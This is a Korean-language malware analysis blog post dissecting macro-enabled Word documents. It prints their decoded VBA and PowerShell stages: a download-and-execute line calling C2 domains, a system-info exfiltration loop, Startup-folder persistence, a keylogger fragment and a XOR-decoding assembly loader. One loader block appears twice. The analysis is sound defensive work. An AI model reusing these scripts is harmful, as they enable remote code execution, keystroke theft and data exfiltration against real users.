[분석 요약표]
연번 | C2서버 도메인 | 다운로드 파일1 | 악성 행위 | 다운로드 파일2 | 악성 행위 |
1 | uyfhk.mypressonline.com | li.txt | 감염 시스템 정보를 C2서버로 전송 | li.down | 사용자가 키보드로 입력한 값을 Ahanlab.hwp 파일에 저장 |
2 | |||||
3 | nskal.myarts online.com |
op.txt | op.down | xsiel.mypressonline.com에서 추가 악성파일 settings.dat을 다운로드하여 실행 |
○ 문서의 매크로 내용을 확인한 결과, 난독화된 소스코드가 확인되며 문서 2개 모두 동일한 매크로가 확인된다.
디코딩하면 아래와 같다.
Private Sub Document_Open() Set djfeihfidkasljf = CreateObject("Shell.Application") Dim dfgdfjiejfjdshaj As String fjdjkasf = "vnslajdsladkf" fjdjkasf = Left(fjdjkasf, 5) #vnsla 문자열 추출 dfgdfjiejfjdshaj = "pvnslavnslaowvnslavnslavnslaersvnslahelvnslavnslal.evnslaxvnslae" dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, fjdjkasf, "") # dfgdfjiejfjdshaj 변수 문자열에서 “vnsla”을 공백으로 변경 # dfgdfjiejfjdshaj = "powershell.exe" hdfksallasjkdlaf = "[vnslastvnslarivnslanvnslag]$vnslaf={(Nvnslawrvnslaaevnslaw-Ovnslabjvnslawrvnslaavnslavnslaecvnslatvnsla " hdfksallasjkdlaf = Replace(hdfksallasjkdlaf, fjdjkasf, "") # hdfksallasjkdlaf 변수 문자열에서 “vnsla”을 공백으로 변경 # hdfksallasjkdlaf = "[string]$f={(Nwraew-Objwraect " ndkflajdkfjskdjfl = "Nvnslaewvnslaravnslavnslat.WvnslaebvnslawrvnslaaCvnslalvnslaiwvnslavnslaravnslaewvnslaravnslanvnslat).Dovnslawevnslailvnslasvnslavnsladjvnslafenvnslag" ndkflajdkfjskdjfl = Replace(ndkflajdkfjskdjfl, fjdjkasf, "") # ndkflajdkfjskdjfl 변수 문자열에서 “vnsla”을 공백으로 변경 # ndkflajdkfjskdjfl = "Newrat.WebwraCliwraewrant).Doweilsdjfeng" salfnxkfdlsjafkj = "('hvnslatvnslatvnslapvnsla:vnsla/vnsla/vnslauvnslayvnslafvnslahvnslakvnsla.vnslamvnslayvnslapvnslarvnslaevnslasvnslasvnslaovnslanvnslalvnslaivnslanvnslaevnsla.vnslacvnslaovnslamvnsla/vnslahvnslaovnsla/vnslalivnsla.vnslatvnslaxvnslat')" salfnxkfdlsjafkj = Replace(salfnxkfdlsjafkj, fjdjkasf, "") # salfnxkfdlsjafkj 변수 문자열에서 “vnsla”을 공백으로 변경 # salfnxkfdlsjafkj = "('http://uskam.myartsonline.com/se/oj.txt')" sjdfkjaslalsfial = "};$jvnsla=$vnslafvnsla.Revnslapvnslalavnslavnslacvnslae('vnslawra','');$vnslau=$vnslajvnsla.Rvnslaepvnslalavnslacvnslae('evnslailvnslasdvnslavnslajvnslafvnslae'," sjdfkjaslalsfial = Replace(sjdfkjaslalsfial, fjdjkasf, "") # sjdfkjaslalsfial 변수 문자열에서 “vnsla”을 공백으로 변경 # sjdfkjaslalsfial = "};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe'," aksfkjaskjfksnkf = "'nvnslalovnslaadvnslavnslasvnslatrvnslaivnslavnsla');$xvnsla=ievnslavnslax $vnslauvnsla;ievnslaxvnsla $vnslaxvnsla" aksfkjaskjfksnkf = Replace(aksfkjaskjfksnkf, fjdjkasf, "") # aksfkjaskjfksnkf 변수 문자열에서 “vnsla”을 공백으로 변경 # aksfkjaskjfksnkf = "'nloadstri');$x=iex $u;iex $x" yeuskaksef = hdfksallasjkdlaf + ndkflajdkfjskdjfl + salfnxkfdlsjafkj + sjdfkjaslalsfial + aksfkjaskjfksnkf # yeuskaksef변수에 hdfksallasjkdlaf, ndkflajdkfjskdjfl, salfnxkfdlsjafkj, sjdfkjaslalsfial, aksfkjaskjfksnkf 문자열 합침 # yeuskaksef = "[string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uyfhk.mypressonline[.]com/ho/li.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x" a.ShellExecute d, y, "", "open", 0 # 파워쉘로 스크립트 실행 # a.ShellExecute "powershell.exe", "[string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uyfhk.mypressonline.com/ho/li.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x", "", "open", 0 End Sub |
○ 위 표의 파란색 글자로 표시한 부분은 아래 표의 연번1과 같으며 ‘Replace’ 함수를 포함하고 있다. 이를 해석하면 연번2와 같다.
○ 파워쉘을 통해 C2서버 도메인 ‘uyfhk.mypressonline[.]com’에서 ‘li.txt’ 악성파일을 시스템에 다운로드 받아 실행하는 것이 확인된다.
연번 | 소스코드 설명 |
1 | a.ShellExecute "powershell.exe", "[string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uyfhk.mypressonline.com/ho/li[.]txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x", "", "open", 0 |
2 | a.ShellExecute "powershell.exe", "[string]$f={(New-Object Net.WebClient).Downloadstring('http://uyfhk.mypressonline[.]com/ho/li.txt')}; $x=iex $u;iex $x; |
○ ‘li.txt’ 파일을 C2서버에서 다운로드 받아 분석한 결과, 파워쉘 스크립트로 확인되며, 아래 표와 같이 6개의 함수와 기능을 확인하였다.
연번 | 함수명 | 기능 설명 |
1 | decode | C2서버에서 추가로 다운로드 받는 악성코드를 디코딩하여 실행하는 함수 |
2 | UpLoadFunc | ‘Ahnlab.hwp’ 파일 내용을 C2서버에 전송하는 함수 |
3 | FileUploading | ‘Ahnlab.hwp’ 파일이 감염 시스템에 존재하는지 확인하는 함수 |
4 | Download | C2서버에서 추가로 악성파일을 다운로드 받는 함수 |
5 | Get_info | 최근 실행 파일, ProgramFiles, C:\Program Files (x86) 폴더 안의 파일목록, 시스템정보, 작업스케줄러 목록을 'Ahnlab.hwp' 파일에 저장하는 함수 |
6 | main | 위 함수들을 실행하는 메인 함수 |
○ 위 표의 연번6 ‘main’ 함수 소스코드는 아래 표와 같다.
main → Get_info → FileUploading → UpLoadFunc → Download → decode 함수순으로 실행되는 것이 확인된다.
○ ‘[사용자계정폴더]\AppData\Ahnlab\’ 경로에 ‘Ahnlab.hwp’ 파일을 생성한 후 감염된 시스템의 최근 실행한 파일, 설치한 프로그램 목록, 시스템 정보, 작업 스케줄러 목록을 탈취하여 ‘Ahnlab.hwp’파일에 저장하고 C2서버에 전송하는 것을 확인하였다.
function main # 메인 함수 (첫 번재로 동작) { Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass –Force # 외부 스크립트 실행 가능하도록 정책 변경 $FilePath = $env:APPDATA + $LOG_FILEPATH New-Item -Path $FilePath -Type directory -Force $szLogPath = $FilePath + $LOG_FILENAME # 파일 저장경로 : %AppData%Ahnlab\Ahnlab.hwp $key = Get-Item -Path $RegKey $exists = $key.GetValueNames() -contains $RegValueName if($exists –eq $False) # AhnlabUpdate 레지스트리가 존재하지 않는 경우 { $value1 = New-ItemProperty -Path $RegKey -Name $RegValueName Get_info $szLogPath # Recent파일, ProgramFiles, C:\Program Files (x86) 폴더 리스트 # 최근 실행한 파일, 시스템정보, 작업스케줄러 목록을 'ahnlab.hwp'에 저장 } while ($true) # AhnlabUpdate 레지스트리가 존재하는 경우 반복 실행 { FileUploading $szLogPath # 'Ahnlab.hwp' 파일 내용 업로드 Start-Sleep -s 10 Download # 추가 악성파일 다운로드 uyfhk.mypressonline.com/ho/li.down Start-Sleep -s 10 Start-Sleep -s $TIME_VALUE } } |
○ 또한, C2서버에서 추가 악성파일 ‘li.down’을 다운로드 받는 것이 확인된다. 아래 표와 같이 인코딩되어 알아볼 수 없는 형태이며 ‘decode’ 함수로 디코딩 되는 것으로 확인된다.
fwj`wokk'tbg`vpfw | &`khcwcpo%8'"D9_tnmgnsq_seow[KkbSdvidl.lo`'Jgw+Hpbh ,Pbtk!'chn`p`si$+T{sf$dln`$(Alscd%Quvhkc":$'ZuptjhcX`'g$=!}+M`p-Jemgfv'Ias+RegElkamw/*Ahmfr|vqmqvjig/!jrvt<(-q~cml.jzsqbppnjnjie,dhn*io.hi+txt'.x:d!f?`"`*u`pma`e+&hds{vuo -#qnnlb`Q"+>d!d>hey&d%c9hay%d&d& uwtmkg#8: %`jo`waqo &toaki%=%Heu)Lalafs&*CjhKaoa`s PUatktr)Qlbii' ... (이하 생략).... |
○ 직접 디코딩 함수를 이용하여 위 ‘li.down’ 파일을 디코딩한 결과, ‘regester’ 함수를 이용하여 스크립트를 실행하는 것을 확인하였으며, 함수 내용을 요약하여 분석하면 아래 표와 같다.
○ 아래 표는 ‘regester’ 함수에서 정의한 변수들을 요약한 내용이다.
‘HncSerial.log’ 파일에 C2서버와 통신하는 파워쉘 실행 코드를 삽입하고, ‘Ahnlab.lnk’ 파일에서 위 ‘HncSerial.log’ 파일을 부팅 시마다 실행하도록 사용자 시작프로그램 경로에 등록하는 것이 확인된다.
function regester { $filepath = "C:\windows\temp\HncSerial.log" New-Item -Path $filepath -Type file –Force # HncSerial.log 파일생성 $String = "[string]`$a = {(New-Object Net.WebClient).Dokarysuntring ('http://uyfhk.mypressonline.com/ho/li[.]txt')};`$b=`$a.replace('karysun','wnloadS');`$c=iex `$b;iex `$c" # uyfhk.mypressonlince.com/ho/li.txt 파일을 다운로드 받아 $String 변수에 저장 $string >> $filepath # String 변수의 내용을 C:\windows\temp\HncSerial.log 에 저장 $shell = New-Object -ComObject WScript.Shell $makepath = "\Microsoft\Windows\Start Menu\Programs\Startup\" # 시작프로그램 경로 $desktop = $env:APPDATA + $makepath # $desktop = 사용자계정\Appdata\Microsoft\Windows\Start Menu\Programs\Startup\ $shortcut = $shell.CreateShortcut("$desktop\Ahnlab.lnk") # $desktop(사용자 시작프로그램) 경로에 Ahnlab.lnk 바로가기 생성하여 부팅시 마다 실행 # $desktop = 사용자계정\Appdata\Microsoft\Windows\Start Menu\Programs\Startup\Ahnlab.lnk $shortcut.TargetPath = "powershell.exe" $shortcut.Arguments = "-WindowStyle Hidden -command &{[string]`$x= [IO.File]::ReadAllText('C:\windows\temp\HncSerial.log');iex `$x}" $shortcut.IconLocation = "imageres.dll,97" $shortcut.WindowStyle = 7 $shortcut.Description = "administrator" $shortcut.WorkingDirectory = "c:\" $shortcut.Save() # Ahnlab.lnk 바로가기 파일의 대상 명령어에 파워쉘 명령을 삽입하여 # 윈도우가 시작할 때마다 자동으로 명령 수행 # C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -command &{[string]$a={(New-Object Net.WebClient).DownloadString('http://uyfhk.mypressonline.com/ho/li.txt')}} $LOG_FILENAME = "Ahnlab.hwp" $LOG_FILEPATH = "\Ahnlab\" $FilePath = $env:APPDATA + $LOG_FILEPATH $logfile = $FilePath + $LOG_FILENAME # $logfile = 사용자계정\AppData\Ahnlab\Ahnlab.hwp |
○ 아래 표는 ‘li.down’ 파일에서 사용자의 입력 키를 로깅하는 소스코드로 사용자가 입력한 키 값과 키를 입력할 때 사용한 프로세스의 ID, 실행경로, 타이틀명, 현재시간을 ‘사용자계정\AppData\Ahnlab\Ahnlab.hwp’ 에 저장하는 내용이 확인된다.
$virtualkc_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); '@ # 키 입력 관련 API 서명 ......... 중략 ........ while ($true) # 사용자가 강제종료할 때까지 실행 { Start-Sleep -Milliseconds 20 $gotit = "" for ($char = 1; $char -le 254; $char++) # 1~254까지 Key값을 GetAsyncKeyState 함수에 넣어 키가 눌렸는지 확인 { $vkey = $char $gotit = $getKeyState::GetAsyncKeyState($vkey) if ($gotit -eq -32767) # 키가 눌렸다면 { try { ......... 중략 ........ if ($unicode_res -gt 0) { $topWindow = $getWindow::GetForegroundWindow() if ($topWindow -ne $oldWindow) { $time = Get-Date -format "dd/mm/yyyy HH:mm" # 현재시간 "dd/mm/yyyy HH:mm" 형태로 반환 $oldWindow = $topWindow $process = Get-Process | Where-Object { $_.MainWindowHandle -eq $topWindow } # 윈도우 최상단 프로세스(사용자가 현재 작업중인 프로세스) [int]$ProID = [int]$process.id $process2 = Get-WmiObject Win32_Process -Filter "ProcessId = $ProID" $str = "`n`n====== " + $process.id + "|" + $process2.commandline + "|" + $process.mainWindowTitle + "|" + $time + " ======`n" [System.IO.File]::AppendAllText($logfile, $str, [System.Text.Encoding]::Unicode) '===== 프로세스ID|프로세스실행경로|프로세스타이틀명|현재시간|=====' 내용으로 # 사용자계정\AppData\Ahnlab\Ahnlab.hwp 에 저장 } |
○ C2서버에서 다운로드 받는 ‘op.txt’ 파일을 분석한 결과, 위 ‘li.txt’의 소스코드 내용과 일치하며 ‘op.down’ 파일을 추가로 다운로드하는 것을 확인하였다.
○ C2서버에서 ‘op.down’을 다운로드 받아 확인한 결과, 아래 표와 같이 인코딩되어 알아볼 수 없는 형태이며
‘decode’ 함수로 디코딩되는 것으로 확인된다.
fwj`wokk'k~r`hkw` | uhwvd`ufto#>#%kwut8,(xqnbo+lyqvevsonlnkd*fko/un+t`tuimgp/gdu #gmjerbwl"8"'G?[thneisr]vdiqYwvumnd(`gw$ 'ifjdew#8'N`p*Mghbdp'K`t+Qe`Gojcjq $jgnffp-Cophnic`@nna/!vhuu`fsfwk-$&enlgwfwm( stars(rh`ar +r$65 $pnvwbguauo0$; kwpr?-*wqhox.lesuqnjmljg)gjl)gn,tav.jhm" !topudgucso6'8%"mrtr>,,upjk)m|dvwvkmkiic,emi)dj+FmkkaePfqnbo/tq2% ... (이하 생략).... |
○ 위 ‘op.down’ 파일을 디코딩하면 아래 표와 같다. 추가 C2서버 도메인 ‘xsiel.mypressonline.com’, ‘stoly.myartsonline.com’가 확인된다. C2서버에서 ‘settings.dat’ 파일을 다운로드 받아 ‘C:\windows\temp\strike.dat’로 저장하는 것을 확인하였다. 이후, ‘strike.dat’ 파일을 바이트로 읽어 디코딩하며 어셈블리 형태로 로드하는 것이 확인된다.
function myremote { $sourcepath = "http://xsiel.mypressonline.com/so/settings.dat" $filepath = "C:\windows\temp\strike.dat" $object = New-Object Net.WebClient $object.DownloadFile($sourcepath, $filepath) # settings.dat 을 C2서버에서 다운로드 받아 C:\windows\temp\strike.dat 로 저장 start-sleep -s 10 #$sourcepath1 = "http://stoly.myartsonline.com/ch/res.ini" #$sourcepath2 = "http://stoly.myartsonline.com/ch/AhnlabSerial.ps1" #$filepath1 = "C:\windows\temp\res.ini" #$filepath2 = "C:\windows\temp\AhnlabSerial.ps1" #$filepath3 = "C:\windows\temp\HncSerial.vbs" #$object = New-Object Net.WebClient #$object.DownloadFile($sourcepath1, $filepath1) #$object.DownloadFile($sourcepath2, $filepath2) #$object.DownloadFile($sourcepath1, $filepath3) #### C2서버에서 res.ini, AhnlabSerial.ps1 파일을 다운로드 받아 시스템 폴더안에 저장 #schtasks.exe /create /tn "AhnlabUpdate" /tr "wscript //e:vbscript C:\windows\temp\res.ini" /sc DAILY /f #### res.ini 파일을 작업 스케줄러에 등록하고 vb스크립트 형태로 메일 실행 #$RegKey1 = 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' #$regValue = "C:\windows\temp\HncSerial.vbs" #$RegValueName = "HncUpdate" #$value1 = New-ItemProperty -Path $RegKey1 -Name $RegValueName -Value $regValue $bytes = [System.IO.File]::ReadAllBytes($filepath) # C:\windows\temp\strike.dat 파일을 바이트로 읽음 $key = "0x7a“ # 디코딩에 필요한 키 값 $mk="_m" for($i=0; $i -lt $bytes.count ; $i++) { $bytes[$i] = $bytes[$i] -bxor $key # strike.dat 파일을 바이트로 읽어 bxor 하여 디코딩 } $bytes[0]=50 $bytes[0]=$bytes[0]+27 $as=[System.Reflection.Assembly]::Load($bytes) # $bytes 파일을 어셈블리 형태로 로드 $mk=$mk+"ain" foreach( $t in $as.GetTypes() ) { foreach( $m in $t.GetMethods() ) { if( $m.Name.Equals($mk) ) { # 디코딩한 strike.dat 파일의 메소드가 _main인 경우 $inst = [System.Activator]::CreateInstance($t) # 개체 생성 $m.Invoke($inst,@()) } } } } myremote |
fwj`wokk'k~r`hkw` | uhwvd`ufto#>#%kwut8,(xqnbo+lyqvevsonlnkd*fko/un+t`tuimgp/gdu #gmjerbwl"8"'G?[thneisr]vdiqYwvumnd(`gw$ 'ifjdew#8'N`p*Mghbdp'K`t+Qe`Gojcjq $jgnffp-Cophnic`@nna/!vhuu`fsfwk-$&enlgwfwm( stars(rh`ar +r$65 $pnvwbguauo0$; kwpr?-*wqhox.lesuqnjmljg)gjl)gn,tav.jhm" !topudgucso6'8%"mrtr>,,upjk)m|dvwvkmkiic,emi)dj+FmkkaePfqnbo/tq2% ... (이하 생략).... |
○ 위 ‘op.down’ 파일을 디코딩하면 아래 [표 8]과 같다. 추가 C2서버 도메인 ‘xsiel.mypressonline.com’, ‘stoly.myartsonline.com’가 확인된다. C2서버에서 ‘settings.dat’ 파일을 다운로드 받아 ‘C:\windows\temp\strike.dat’로 저장하는 것을 확인하였다. 이후, ‘strike.dat’ 파일을 바이트로 읽어 디코딩하며 어셈블리 형태로 로드하는 것이 확인된다.
function myremote { $sourcepath = "http://xsiel.mypressonline.com/so/settings.dat" $filepath = "C:\windows\temp\strike.dat" $object = New-Object Net.WebClient $object.DownloadFile($sourcepath, $filepath) # settings.dat 을 C2서버에서 다운로드 받아 C:\windows\temp\strike.dat 로 저장 start-sleep -s 10 #$sourcepath1 = "http://stoly.myartsonline.com/ch/res.ini" #$sourcepath2 = "http://stoly.myartsonline.com/ch/AhnlabSerial.ps1" #$filepath1 = "C:\windows\temp\res.ini" #$filepath2 = "C:\windows\temp\AhnlabSerial.ps1" #$filepath3 = "C:\windows\temp\HncSerial.vbs" #$object = New-Object Net.WebClient #$object.DownloadFile($sourcepath1, $filepath1) #$object.DownloadFile($sourcepath2, $filepath2) #$object.DownloadFile($sourcepath1, $filepath3) #### C2서버에서 res.ini, AhnlabSerial.ps1 파일을 다운로드 받아 시스템 폴더안에 저장 #schtasks.exe /create /tn "AhnlabUpdate" /tr "wscript //e:vbscript C:\windows\temp\res.ini" /sc DAILY /f #### res.ini 파일을 작업 스케줄러에 등록하고 vb스크립트 형태로 메일 실행 #$RegKey1 = 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' #$regValue = "C:\windows\temp\HncSerial.vbs" #$RegValueName = "HncUpdate" #$value1 = New-ItemProperty -Path $RegKey1 -Name $RegValueName -Value $regValue $bytes = [System.IO.File]::ReadAllBytes($filepath) # C:\windows\temp\strike.dat 파일을 바이트로 읽음 $key = "0x7a“ # 디코딩에 필요한 키 값 $mk="_m" for($i=0; $i -lt $bytes.count ; $i++) { $bytes[$i] = $bytes[$i] -bxor $key # strike.dat 파일을 바이트로 읽어 bxor 하여 디코딩 } $bytes[0]=50 $bytes[0]=$bytes[0]+27 $as=[System.Reflection.Assembly]::Load($bytes) # $bytes 파일을 어셈블리 형태로 로드 $mk=$mk+"ain" foreach( $t in $as.GetTypes() ) { foreach( $m in $t.GetMethods() ) { if( $m.Name.Equals($mk) ) { # 디코딩한 strike.dat 파일의 메소드가 _main인 경우 $inst = [System.Activator]::CreateInstance($t) # 개체 생성 $m.Invoke($inst,@()) } } } } myremote |
○ 분석대상 문서는 모두 난독화된 매크로(VBA)가 포함되어 있으며, 문서를 열람하여 매크로가 실행되면 C2서버 도메인 ①uyfhk.mypressonline.com, ②nskal.myartsonline.com과 통신하는 것이 확인된다.
○ 매크로 실행 시 파워쉘을 통해 위 C2서버 도메인에서 각각 ‘li.txt’, ‘op.txt’ 파일(파워쉘 스크립트)이 다운로드 되어 시스템에서 실행되는 것이 확인된다.
○ ‘[사용자계정폴더]\AppData\Ahnlab\’ 경로에 ‘Ahnlab.hwp’ 파일을 생성한 후, 감염된 시스템의 최근 실행한 파일, 설치한 프로그램 목록, 시스템 정보, 작업 스케줄러 목록을 탈취하여 저장하고 C2서버에 전송하는 것을 확인하였다.
○ 또한, ① 도메인에서는 추가 악성파일인 ‘li.down’을 다운로드 받아 디코딩하여 파워쉘을 통해 시스템에서 실행되며, 감염된 시스템의 키로깅 정보를 탈취하는 소스코드인 것으로 확인된다.
○ ② 도메인에서는 추가 악성파일인 ‘op.down’을 다운로드 받아 디코딩하여 파워쉘을 통해 시스템에서 실행되며, 추가 C2서버 도메인 ‘xsiel.mypressonline.com’에서 ‘settings.dat’을 다운로드 받는 소스코드를 확인하였으나, 해당 도메인에서 추가 악성파일을 다운로드 받지 못하였다.
'악성코드' 카테고리의 다른 글
엑셀, 워드 매크로 비밀번호 풀기(VBA 암호풀기) (0) | 2022.11.15 |
---|---|
매크로에 비밀번호가 있는 경우 매크로 추출하는 방법(VBA 추출) (0) | 2022.10.15 |
악성코드가 포함된 워드문서(doc) 분석 (0) | 2022.10.03 |
lnk 악성코드가 포함된 한글 (hwp) 문서파일 분석 (0) | 2022.10.02 |
댓글